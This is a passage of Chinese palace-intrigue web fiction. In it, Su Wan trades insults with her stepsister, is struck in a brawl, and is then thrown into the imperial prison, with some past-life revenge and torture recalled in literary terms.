那婢女一身宫制襦裙，双臂交叉立在门边。其人虎背熊腰，肌肉轮廓透过薄布清晰可见，仿佛稍一用力，就能绷裂衣衫。与其说是侍女，倒不如称作护卫更加贴切。
苏沅芷一踏进屋，眼尾余光飞快一扫，见苏绾低眉顺目地坐在窗前，一针一线缝制嫁衣，唇角勾起一抹轻蔑的笑：“啧啧，堂堂阁部夫人，竟沦落到亲手做针线活儿，怪可怜见儿的。”
她佯作无意瞥了一眼苏绾手中的嫁衣，冷嗤一声：“你还真以为能风风光光嫁出去？天真。没有本官点头，你连嫁与不嫁的资格都没有！”
声音不高不低，透着一种后宫特有的咄咄逼人的气势，字字如刀，直戳人肺腑。
苏绾扫了来人一眼，指尖一转，随手将针线收回绣囊，声音懒散而冷淡：“我当是谁在外头大呼小叫，原来是你啊，苏沅芷。”
她盯着苏沅芷打量了片刻，忽而掩袂一笑：“你披着这一身青皮，活脱脱像个掐着嗓子叫卖的牙婆，仿佛不经你的手，姑娘们就嫁不出去似的。”
苏绾慢悠悠仰起头，鄙夷道：“不过区区芝麻大的官职，竟敢越俎代庖，管起阁部之事。苏沅芷，你的胆子倒是越来越大了。”
苏沅芷冷哼一声：“你别以为攀上了温侍郎，就真成了金枝玉叶。野鸡终归是野鸡，穿上凤袍也改不了贱骨头。”
说着，她跬步上前，腰间青色补服随之荡动，悬挂的玉佩叮当作响，声音听起来尖锐刺耳。
苏沅芷微微俯身，眼中闪着森寒恶意：“本官奉皇后懿旨，掌管后宫礼仪。你若想嫁入皇宫，须得经过司仗核验——凡有过往不检、通奸污秽之事，一律逐出宫门。”
她声音压低，宛若毒蛇吐信：“你的那些丑事，本官最清楚不过。苏绾，你，可懂？”
苏绾倚着案几，纤长手指拂过袖口，慢条斯理地扫去一粒微不可见的尘埃，“苏沅芷，你好歹挂着朝廷诰命的名头，怎的言行举止倒跟市井泼妇一般，张口闭口地叫嚣撒野？你哪只眼睛瞧见我与人通奸了？说话总得讲点证据吧。”
苏沅芷脸色倏然一变，咬牙反驳：“去年纳征那日，是你和奸夫将军联手陷害我，毁我容貌，逼我离家！这笔血账，我今日非要讨回来！你就是个肮脏的娼妇！”
“是啊，我是娼妇。”苏绾冷冷打断她。
“可我这娼妇，温如初抢着要，太后点了头，圣上准了旨。而苏沅芷你呢？你在宫里辛苦熬了大半年，熬来熬去，只熬了个小小正六品司仗女官，掌着无足轻重的仪仗队，还得随时向上司磕头陪笑。”
苏绾不紧不慢站起身，裙摆在地砖拂出细碎声响。她跬步逼近苏沅芷，嗓音轻柔得像耳畔呢喃：“你可知道，我不仅与京卫指挥使通奸，还与贵妃身边的御医秦欢纠缠不清，就连皇帝的亲侄子萧染，也被我迷得神魂颠倒呢。”
她伸出玉手翻看，“男人啊，统统都是我的掌中玩物罢了，我要多少，有多少。”
她微微一笑：“可你又能奈我何？你没有证据！你这个无能的废物，自始至终不过是个任人摆布的傻子，连自己错在哪里都想不明白。”
“你跟母亲一样，同是女人的耻辱，没有男人来爱，简直不可救药！”
苏沅芷胸膛剧烈起伏，被苏绾的话一寸寸刺得理智全失。她咬紧牙关，欲拼劲全力抽打苏绾的耳光。
“贱人，跟我装什么清高！”掌风破空而来，眼见就要落在苏绾脸颊。
几乎同时，春蝉身影一闪，精准扯住苏沅芷的手腕，逼得她尖叫一声，连退半步。
春蝉冷声道：“休想动我家小姐一根头发！”
小丫头手劲极大，令苏沅芷手腕剧烈吃痛，她万万没料到，苏绾的身边竟也藏了武功高强的人物。她有些懊悔自己只带了一名随从，实在应该带着她的仪仗队来才是。
苏绾目光沉静如深潭：“苏沅芷，宫里的规矩，你比我更清楚。身为女官，擅闯户部衙门，还敢动手伤人，是何罪责？”
“只需我一句话送到太后跟前，便能叫你摘了诰命，贬为庶人，逐出宫门。你说，这笔账，值不值得？”
“你敢！”苏沅芷懒得再跟她废话，素手一扬，命令道：“浣碧，给我教教她什么叫规矩！”
那婢女名唤浣碧，最擅长拳脚功夫。原本是热河一带土匪窝里长大的烧火丫头，因年岁渐长，又不想配给匪徒，这才从良，后来被苏沅芷在黑市里花重金买下。
一声令下，浣碧早已按捺不住，立马恶虎般扑上前。
无霜大惊，急忙上去抱住浣碧水桶腰，“不要啊——”
殊不知浣碧是个练家子，浑身腱子肉。粗壮手肘向后一杵，肘尖正搥中无霜面首，将她结结实实击倒在地，一时半刻爬不起身。
“住手！”旁边春蝉晚了半步，手腕一抖，腰间银链破空而出，啪地抽向浣碧，逼得她连退两步。
浣碧怒极反扑，春蝉鞭影翻飞。屋子里狭窄，两人打得鸡飞狗跳，撞翻了案几，踢散了绣绷，倾覆了烛台。又纷纷撞出门外，双双滚入天井院落，激起一阵尘土飞扬。
好奇的宫人们躲在角落里，指指点点。
屋内一片死寂。
苏绾俯身扶起无霜，“霜儿，你可还好？”
无霜鼻腔被那一肘击重创，两道殷红鼻血蜿蜒而下。她用袖口胡乱一抹，勉强撑出一个笑容，“我没事，小姐不必担心。”
苏绾掏出丝巾，一下一下，轻柔地擦拭着无霜唇边的血痕。动作极轻，像在抚摸一只受伤的小兽。心如刀绞，恨不得替无霜挨那一杵。
这功夫，忽听苏沅芷寒声一笑，“贱人，咱们的旧账，是时候一并清算了！”
她从袖中抽出一柄玉如意，趁苏绾低头之际，出其不意向额顶大力挥击！
阵风袭来，苏绾眼前一黑，头顶一阵刺痛，一道凉气瞬间贯穿颅顶。她睁着一双无神的眼，怔愣地望向苏沅芷。
时间停下匆忙的脚步。
疼痛并不立刻袭来，反倒充斥着无边无际的麻木，与彻头彻尾的寒凉，像被雪兽利齿贯顶，将半边身子撕扯啃啮，唯余一点点意识，在茫茫暗夜苟延残喘。
大约过了一瞬间，又或是一万年。
头顶一股暖流涌出，顺着额角流淌而下，掠过挺翘的鼻梁，滴入微张的樱唇，带着浓重的腥甜，又沿着下颌滑落。啪嗒、啪嗒，落在石榴红的裙摆，洇开一片刺目的猩红。
耳边流进丝丝缕缕细语，如风声虫鸣，又似是无霜撕心裂肺的惊叫。
“小姐——”
无霜顾不得自己的痛楚，双手颤抖着揪着苏绾的绢帕，不断擦拭血迹。雪白绢帕很快被鲜血染透，变作一块血色风帛，触目惊心。
“光天化日之下竟敢恶意伤人，还有没有王法？”无霜悲愤欲绝，声音都在发颤。
苏沅芷肆无忌惮地笑了：“就打你了，怎么着？有本事你去告我啊。”
无霜正欲上前同她理论，却被苏绾拉住了，摇头道：“算了，我没事。”
无霜咬紧嘴唇，眼里满是不甘与疑惑，几乎要哭出来。
苏绾反手按了按无霜的手腕，似在悄悄告诉她，一切尽在掌握之中。
对付咬人的疯狗，绝不能给它第二次下嘴的机会。
苏绾随手将血迹斑斑的帕子掷了，长身而起，怒道：“想同我算旧账？甚好。”
“自我八岁进苏家门，十年来受尽你的欺辱，咱们一笔一笔算清楚。”
“那年腊八，你推我落河，事后却谎称手滑；第二年端午节，捉弄我坠马，差点摔断脊骨；还有某年中秋，你让人偷换灯油，欲置我于火海之中活活烧死……”
她声音淡淡，不急不缓，像是在讲述别人的故事，语气平静得可怖。
“你过笄礼之时，谎称首饰被盗，召集阖族亲眷，大肆搜查，最后在我房里找到你预先放置的首饰，你据此诬蔑我为盗贼，导致我被母亲卖给行院……”
“住嘴！”苏沅芷怒喝，后面发生的事情，她并不想回忆。
若非那次错误行动，苏绾也不会遇见温如初，也就没有而今的侍宠而骄。
“这就听不下去了？我可还有很多话没说呢。”
苏绾眨了眨星眸，故作恍然大悟状，“哦，我知道了。你怕听见他的名字，因为他是你这一生都无法原谅的痛。”
苏绾剪着双手，引领遥远回忆，“你认识他，本在我之前。他十九岁状元及第，十六岁的你芳心暗许。”
“你费尽心思吸引他的注意，刻意装扮成卖花姑娘，站在桥头沽酒卖花，淋一身杏花湿雨，活像只落汤鸡。而他从桥上翩然走过，连一眼都没看过你。”
“你得知他学佛，假模假式尾随他去大慈恩寺，扮作香客虔诚求签，谎称自己有意皈依佛门，结果被大和尚看破你的拙劣谎言，拿扫帚将你赶出庙门。”
苏绾垂眸，莞尔一笑，“这还不够，他才高八斗，乃登科状元。你担心自己配不上他，秉烛苦读诗书礼易，附庸风雅，学人家写‘薛涛笺’，妄图在‘花灯会’以文会友。那帖子送是送出去了，然而由于诗文太差，连人家筛选家丁都看不懂，直接付之一炬，真真是笑死个人。”
“不许再说，我要撕烂你的嘴。”苏沅芷眼睛睁得大大，恨不得掐死苏绾。
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>苏绾笑道：“有意栽花花不发，无心插柳柳成荫。你筹谋划策许多年，最后他上门求娶的人却是我，你说气不气人？”
“婚期定在三月二十三，正是去年纳征的日子。他想早点娶我过门，特意恳求圣上，如今还剩不到十天。”
“即便如此，他仍旧急着娶我，恨不得今晚就与我春宵一刻。”
“剩下你独自一人怎么办？阅川付之东流，唯有青灯古佛，孤独终老。”
“哦哦，有件事我差点忘了说。”
苏绾星眸一转，“你可知道，母亲是如何说服他，让他不遗余力上本启奏，要将你送给西藏吐蕃土司当陪嫁秀女？”
“还不是因为，我不想嫁他，母亲只好拿你当替代品，谁知他根本瞧不上眼，直言西藏土司才配得上你呢。可惜啊，你忒不争气，连土司也嫌弃你貌丑，白送给他都不要，又被原封退回。”
“你还道他为何突然改变主意，从热河将你捞了出来，给你一个六品小官做？我来告诉你吧，温侍郎跟我闹别扭，自己一气之下撕毁婚约。可他扭捏了半年多，实在放不下我，又死乞白赖求我回心转意。怕我不原谅他，故而调你来京，指望你能以长姐的名分规劝我回头。”
“你说，他贱不贱？”
句句戳人肺管子，直气得苏沅芷拍案而起，“闭嘴闭嘴，找打么？！”
“先前这一夯，念在你是家姐的份上，手头不知深浅，我不与你追究。”
苏绾眼神一凛，声色俱厉：“你敢再动我一下，我就告诉温侍郎，说你心怀妒恨，不满我嫁给他，百般羞辱，欲刮花我的脸，毁我容貌。届时告上御前，咱们玉石俱焚，谁也讨不到好处。”
“到时候，看他是信我，还是信你？”
一语直击要害，令苏沅芷怒火中烧。自小得万千宠爱于一身，她何曾受过如此憋屈？
“少在这儿吓唬人！我苏沅芷，堂堂六品司仗，还怕了你不成？”
说完，苏沅芷扑向苏绾，欲故技重施，再给她致命一击。玉如意扬起，却在半空硬生生停住了。
不对劲，此处有诈。
只见苏绾笑意盈盈，“来啊，打啊，我任你打。”
那副矫揉造作模样，分明是在引诱她出手。
苏沅芷心中警铃大作，暗骂自己差点上了贱人的当。若此时再动手，苏绾必定倒打一耙，将她告到御前，她的司仗诰命休想保得住。
好险。
苏沅芷决定不给苏绾作恶的机会，方为明智之举。况且，先头不是已经打过她吗？这口气也已经出了，没必要铤而走险。
“娼妇，别得意太早！”苏沅芷恨声道：“在这紫禁城里，凭我司仗一职，想怎么折磨你都行，教你生不如死，十天时间绰绰有余。”
她恶狠狠地瞪了苏绾一眼，自知理亏，偏又咽不下这口气，心里恨得发狂，朝门外厉声喊道：“浣碧，咱们走！”
天井院中，浣碧正与春蝉厮打得难分难解，听到主子呼喝，急忙挥开春蝉，一边抵挡一边跌跌撞撞退了回来。
苏沅芷顾不得形象，带着浣碧匆匆逃出户部衙门。她衣冠不整，发髻歪斜，步履踉跄，哪里还有半分端庄女官的模样？连带着浣碧也满身尘土，灰头土脸，狼狈不堪。
身后，宫人们默契地悄悄阖上角门，将这场闹剧彻底隔绝于门外。
闺房里沉香气息纠缦。
无霜瘫坐在地，半边脸青肿，嘴角挂着血，显然是方才浣碧动手时吃了亏。苏绾则靠在案边，一手扶着额头，指缝间渗出殷红血迹，发丝被鲜血黏连着。
“小姐！”春蝉大惊失色。
苏绾眼底一片冷静，“无妨，一点小伤而已。”
她说得云淡风轻，可指尖却因疼痛微微颤抖，缝制未完工的嫁衣也散落一旁，金丝在血光下熠熠生辉，映得人心头发寒。
方才那一招“空城计”，着实惊险万分。若非苏沅芷心里尚存几分警觉，晓得兵不厌诈的道理，以她那一贯张扬跋扈的性子，苏绾的额顶怕是要被敲出个血窟窿不可。
春蝉心疼道：“我去请太医！”
苏绾拦住了她，“不用惊动外人。春蝉，你叫宫人准备轿辇，我要亲自走一趟后宫内殿。她们不允许的话，你就说‘人命关天，哪个不要命的敢拦挡’，自然无人敢管。”
春蝉一怔，“小姐，是要……”
“正是。”苏绾恨道：“苏沅芷敢伤我，就得付出代价。今日这伤，不白挨。”
苏绾吩咐道：“帮我换件干净衣裳，再稍作修饰，让伤势看上去更严重些。”
春蝉应声去取衣裳，动作飞快。
苏绾理了理垂散的发丝，她原本就需一个名正言顺的理由，去拜访贵妃，与秦欢搭上线。如今正好，受伤、告状、反击，一举三得。
至于苏沅芷，既然她敢出手，注定要成为她计划中的第一枚弃子。
半个时辰后，一顶素雅的小轿悄然自户部衙门出发，朝着宫城深处行去。
132. 入狱
“小姐，你怎么这么熟门熟路，好像曾经来过似的？”轿辇一旁快步随行的无霜忍不住好奇开口。
苏绾望着一路熟悉的景致，眼底充满了怀念。上一世，她在紫禁城度过了人生最后的几年，记忆中有血有泪，也沾染了无限荣光。正是在这块沉浮之地，她一步步攀至权势巅峰，最终成了旁人口中的“疯后”。
“这座紫禁城，是先帝颁诏修建，召集天下名匠，历时十三年才完工。主设计师是潭柘寺无名和尚，听说当年设计图一展开，连工部侍郎都不禁啧啧称奇。”
苏绾话音不急不缓，“我曾有幸瞻仰那幅图纸的摹本，认得路也不算稀奇。”
无霜听得一脸震撼，感叹道：“怪不得我一进来就觉得这里跟外头不一样，到处弯弯绕绕，跟迷宫似的，我能在里头转一天出不来。”
轿辇另一侧的春蝉撇撇嘴：“皇帝的宅子是挺大，可总觉得阴森森的，像个装了无数秘密的大棺材。白天还好，一到晚上，连风都像鬼喘气……”
“嘘！”无霜脸都白了，赶紧隔着轿帘低声呵斥春蝉，“你别胡说，被人听见小命都保不住！”
春蝉立马缩了缩脖子，低头不敢再出声。
苏绾眼眸沉了沉，“春蝉说得没错。这里光鲜的背后，埋藏的可不止秘密，还有人命。”
穿过后花苑，一路花香袭人，朱墙碧瓦楼阁巍然耸立，檐角雕龙画凤，阳光沐浴下熠熠生辉。宫人往来如织，却都寂静有序，惟闻绣履踏地，声音轻响如倒豆。
一行人来到了贵妃居住的宫殿。
翠微宫位于紫禁城西隅，山石假山错落，绿树成荫。春时玉兰盛开，夏则荷香四溢，秋有丹桂飘香，冬日枯枝横斜，亦别具风骨。
正值阳春时节，天光明媚，万物争荣。草木葱茏，池馆微曛，一池春水泛着微波，映得金瓦琉璃也多了几分柔情。不禁让自幼长在京城巷里的无霜，看得痴了眼。
“真美啊……”无霜低声感叹。
轿辇另一边，春蝉撇了撇嘴：“也就那样吧。规整是规整，就是太刻意了些。少了点野趣，多了些摆样子。”
春蝉出身猎户人家，自幼在山林里摸爬滚打惯了，对那种未经雕饰的大自然更觉亲切。这一派金碧辉煌的风景，在她眼里反倒显得有些造作。
无霜忍不住瞪了她一眼，“你懂什么，这是皇宫！你以为是你家后山哪条野沟子？”
春蝉咕哝一声，不服气道：“后山的野沟子，月亮照的光影都比这真切。”
听着两人的拌嘴，苏绾没插话，只是轻轻一笑。
无霜懒得争执，抓住空暇又问道：“小姐同这位熹贵妃，平生素未照面，怎知她就一定会帮咱们不成？”
熹贵妃在翠微宫安居多年，行事一向低调，鲜少参与后宫纷争，不争宠，不结党，守着一方天地自得其乐。即便身居高位，也不显山露水，宫人们对她的议论寥寥，皆言她是深宫里一缕不染尘埃的清风。
苏绾第一次见到贵妃，是在她被贬入冷宫之后。因御马监事务划归内阁，而温念对这群马夫又漠不关心，苏绾只得亲自出面与贵妃接洽相关事宜。彼时的贵妃虽已失宠，依旧仪止端方，言语温婉，并无半点哀戚颓唐。
二人一见如故，自此渐生交情。贵妃惜才，苏绾知恩，两人虽身份有别，常在冷宫一隅论经习字，谈药论政。贵妃曾言：“你不该只做温大人的妻，你天生就是为庙堂筹谋，为社稷护国的命。”
苏绾不过一介命妇，却因贵妃的点拨，生出几分胆识与志气。贵妃教她识人观势，劝她守中自持，更在暗地数次助她脱险，让她在宫闱浮沉中得以喘息。
后来苏绾与秦欢情愫暗生、珠胎暗结，贵妃亦不吝相助，设法促成他们在冷宫相会。直至秦欢被温念杀害，太子狱中离奇自缢，贵妃心灰意冷，出家白云观，从此断绝红尘。
秦欢之死，胎儿殒命，令苏绾彻底崩溃，陷入了癫狂的境地。她与皇后、太后明争暗斗，杀遍整个后宫。待她终于登上高位，贵妃已音讯皆无，消失在茫茫人海。
重活一世，故地重游，望着远处缥缈飞烟的翠微宫，那份感觉熟悉又遥远。
苏绾叹了口气，“贵妃是秦大夫的亲姑姑，不看僧面看佛面，总不至于对我袖手旁观。”
行至殿外，轿辇忽被拦下。
“出示穿宫牌。”锦衣卫手按佩刀，面容冷峻。
无霜递上户部腰牌。
锦衣卫扫了一眼，眉头一拧：“此牌仅限文臣出入内廷，非后宫娘娘所持令牌，不得通行。”
这可难倒了无霜。
轿帘一掀，苏绾冷声开口：“我乃东阁大学士温如初的未婚妻，出入宫中无须另行牌证。”
锦衣卫拱手一礼：“末将奉皇后娘娘明令，近日宫禁收紧，凡无后宫牌证者一律不得入内。”
双方一时僵持不下。
苏绾感到有些诧异，上一世，她也是凭借一模一样的手段和说辞，穿行后宫无阻——谁又敢驳了温阁部的面子呢？
“皇后娘娘旨令？”苏绾问道：“可是翠微宫有变？”
锦衣卫闭口不言。
一道尖细的嗓音突然传来，带着几分倨傲与挑衅：“谁在那边吵吵嚷嚷？搅了主子的清净，可要打板子的。”
众人循声望去，只见一名年近五旬的内监缓步而来。身后一众小太监齐齐躬身垂首碎步跟随，唯他步履悠然，眼神冷冽。
他身披墨青织金蟒袍，袍角绣着二十四节气纹，腰间缠着紫绦团绣，手中雪白拂尘随风飘扬。细瘦身形，鹤骨鸡肤，面容苍白，眉眼之间透着一股子阴鸷狠毒。
此人正是司礼监掌印魏公公，权倾后宫的内宦巨擘，朝堂诸臣见了他，都要避让三分。
苏绾可太熟悉这老鸡婆了。
上一世，温念初入宫闱，权势未稳，为攀附司礼监掌印太监，他亲手将苏绾送入深渊。那一夜，灯火深宫，香烟缭绕，殿门紧闭，羞辱无声。她被迫玉体横陈空旷的大殿，接受一众宦官邪恶且贪婪的目光洗礼……
魏公公是她不共戴天的仇敌。
一丝寒意从苏绾眼底掠过。老狐狸忽然现身，定是蓄谋已久，来者不善。
锦衣卫恭身将实情禀报。
魏掌印手腕一抖，拂尘白丝如雪瀑扬洒。他阴阳怪气地“哦”了一声：“我当是谁，原来是温大人未过门的夫人呐。”
他眯着眼睛打量苏绾，“可惜这重身份说到底，不过是个外命妇，入得朝堂，可入不得后宫。规矩就是规矩，无牌不得擅入，太后老祖宗钦定的章程，难道你也敢违抗？”
轿帘一掀，苏绾缓缓步出，裙袂曳地，眉目冷峻，“你一口一个规矩，却不说温如初乃圣上钦点的东阁大学士，准我入宫亲会贵妃。你身为小小四品司礼，怎敢随意拦我去路？”
魏掌印冷哼一声：“那得问问圣上，还记不记得你这位未过门的夫人。”
他目光冷冷扫过苏绾额顶伤痕，嘴角一撇，幸灾乐祸道：“凭你这身落魄相，形迹十分可疑。说是奉命入宫，却不走正道。分明是混进宫闱的奸细，意图谋害贵妃！”
此话一出，气氛骤然紧张。
“放屁！你说谁是奸细？”无霜一听，弯腰朝魏掌印吐了一口唾沫，正中他的锦袍。
“放肆！”身旁小太监怒喝一声。
春蝉也毫不示弱，扑向一名内监，一边挥拳一边骂骂咧咧：“谁敢动我家小姐，你们这些狗腿子，欺人太甚！”
可惜寡不敌众，几个照面春蝉便被冲上前的锦衣卫按住。无霜也被兵士反剪手臂擒拿，疼得她直吸凉气。
魏掌印厌恶地甩了甩沾了唾液的衣袍，“好大的胆子，一群贱婢，也敢冲撞天威。”
苏绾冷眼盯着魏掌印：“你不怕事后被温如初追责？”
魏掌印阴鸷一笑：“温大人如今正被太后抓住拷问，保不齐明日就被调出京师。我倒要看看，你还有没有命记账。”
说罢，他拂尘一挥：“来人，传我口谕，擅闯禁苑者，疑为奸细。押入诏狱，听候处置！”
“是！”
锦衣卫拔刀上前，将苏绾一行团团围住。
*
诏狱深在皇城地底，常年不见天日。四壁石砖阴湿渗水，苔痕斑驳，铁栏生锈，空气中弥漫着发酵腐肉与湿
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泥混合的土腥气。幽长的甬道里，回响着脚镣碰撞的冷声，以及无数幽魂的哭嚎。
苏绾等人被押入一处偏僻的女牢。牢门厚重，锈迹斑斑的铁链绕了三道，“吱呀”一声缓缓开启。里面丈许方圆，天光透过墙壁高处的栅格，将四角黑暗勾勒得阴冷逼仄。
角落里堆着几团发霉的干草，虫蚁横行，墙角残留着血迹与不明污渍。天花板低矮，一条排水沟蜿蜒过地面，偶尔有水珠滴落，滴答作响，如同催命的计时鼓。
春蝉一进门就打了个寒战，“噫，这地方好像个死人窟窿。”
无霜紧紧拉着苏绾的衣角，“小姐，我们是不是要死在这里了。”
“别怕，咱们死不了。”
苏绾环顾四周，寻了墙角一处干净的干草，缓缓倚靠墙壁而坐。
她对诏狱的阴森与残酷刑罚，并不感到陌生。上一世，苏绾曾亲自踏足诏狱，指使狱卒重罚魏掌印，以雪当年玉体横陈的耻辱。
一双烧红的铁鞋，生生被扣在魏掌印的脚掌。铁与肉接触的刹那，发出刺耳的“滋啦”声，伴随着血肉焦糊味。魏掌印嘶声惨叫不停，挣扎几息痛晕过去，没过多久就一命呜呼了。
苏绾还嫌他没用，这么容易就嗝屁了，不足以抵消偿还她所受的屈辱。于是她命人鞭尸一百，吊在城门楼任乌鸦啄食，魂魄永不安宁。
“很快，就会有人来救咱们了。”
可苏绾心里很清楚，这话说出来，只是安抚无霜春蝉而已。
从她踏入宫门的那一刻起，局势就已悄然发生了异变。
她持温念的腰牌探望贵妃，本就无可厚非，却被魏掌印以“奸细”罪名抓进诏狱。
而翠微宫大门紧闭，内侍避而不见，贵妃音讯全无，消息被刻意封锁。
显然，贵妃出事了。
有谁敢在这个节骨眼儿，下手动贵妃呢？
所有的迹象，都指向同一个幕后黑手——皇后。
上一世，苏绾亲身领教过皇后的手段。她外表温顺端庄，实则工于心计，惯用柔情包裹锋刃，表面恭顺博得太后欢心，暗地布下密网，步步蚕食贵妃的势力。
苏绾被抓，不是巧合，是警告。
她要借助温念的权势，清除贵妃，巩固自身地位。而当温念强娶苏绾时，皇后察觉到他包藏祸心，立刻反制出招，以雷霆之势敲打温念。
苏绾是她传出的第一个信号。
这场后宫之斗，已不再是内帏私怨，而是朝堂延烧，争储前哨。
想到这里，苏绾目光沉冷。她不怕进诏狱，她怕的是，再晚一步，贵妃就撑不下去了。
自打三人被投进诏狱起，幽深潮湿的牢房仿佛被岁月遗忘了。日头从高悬西斜，再一点点坠入地平线，天光暗了又亮，亮了又暗，除了偶尔传来滴水坠落的回音，整座监牢寂静如坟。
她们等了半日，又等了半夜。脚步声没有响起，传膳的人没有出现，连守牢的小吏也仿佛故意避开这处房间。
春蝉坐在角落里，抱膝瑟缩，小腹早就饿得打鼓；无霜靠在墙边，脸色难看，几次咬牙撞门，却无人回应。
“小姐说的不对，我们不会饿死，也会渴死。”春蝉嗓子干哑道。
苏绾沉默地坐着，肚腹传来咕咕声，她将衣襟拉了拉，遮掩住饿意。
越是没人来，她越能确定，这不是疏忽，而是故意。皇后要的，不是审问，而是消磨她的意志。
他们想饿她，困她，让她先输一步。
可她偏不如愿。
苏绾咬紧牙关，闭目凝神，磐石般稳稳坐定。
忽然，远处传来一阵窸窸窣窣的响动，像是有人翻身，又听见长长一个哈欠。
“呵——”声音懒洋洋地在墙壁间回荡。
春蝉一愣，险些跳起：“有、有人！”
无霜下意识抓紧了苏绾的袖子。
苏绾冷静问道：“谁在那边？”
沉寂一阵，俄顷传来拖长了尾音的抱怨：“吵死人了，吵得小爷我睡不安稳。”
苏绾心头一滞。
这声音，分明不是普通囚犯。
是他。